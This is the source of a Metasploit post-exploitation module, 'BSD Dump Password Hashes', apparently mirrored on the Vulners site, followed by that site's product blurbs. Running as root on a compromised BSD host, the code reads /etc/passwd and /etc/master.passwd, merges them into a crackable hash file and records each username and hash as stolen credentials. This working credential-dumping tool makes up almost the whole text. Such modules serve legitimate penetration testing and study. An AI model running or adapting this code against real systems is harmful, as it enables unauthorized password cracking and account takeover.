##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BSD Dump Password Hashes',
'Description' => %q{ Post module to dump the password hashes for all users on a BSD system. },
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'Platform' => ['bsd'],
'SessionTypes' => ['shell', 'meterpreter']
)
)
end
def run
unless is_root?
fail_with Failure::NoAccess, 'You must run this module as root!'
end
passwd = read_file('/etc/passwd').to_s
unless passwd.blank?
p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')
vprint_good("passwd saved in: #{p}")
end
master_passwd = read_file('/etc/master.passwd').to_s
unless master_passwd.blank?
p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')
vprint_good("master.passwd saved in: #{p}")
end
# Unshadow passswords
john_file = unshadow(passwd, master_passwd)
return if john_file == ''
john_file.each_line do |l|
hash_parts = l.split(':')
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
if jtr_format.empty? # overide the default
jtr_format = 'des,bsdi,sha512,crypt'
end
credential_data = {
jtr_format: jtr_format,
origin_type: :session,
post_reference_name: refname,
private_type: :nonreplayable_hash,
private_data: hash_parts[1],
session_id: session_db_id,
username: hash_parts[0],
workspace_id: myworkspace_id
}
create_credential(credential_data)
print_good(l.chomp)
end
p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')
print_good("Unshadowed Password File: #{p}")
end
def unshadow(pf, sf)
unshadowed = ''
sf.each_line do |sl|
pass = sl.scan(/^\w*:([^:]*)/).join
next if pass == '*'
next if pass == '!'
user = sl.scan(/(^\w*):/).join
pf.each_line do |pl|
next unless pl.match(/^#{user}:/)
unshadowed << pl.gsub(/:\*:/, ":#{pass}:")
end
end
unshadowed
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation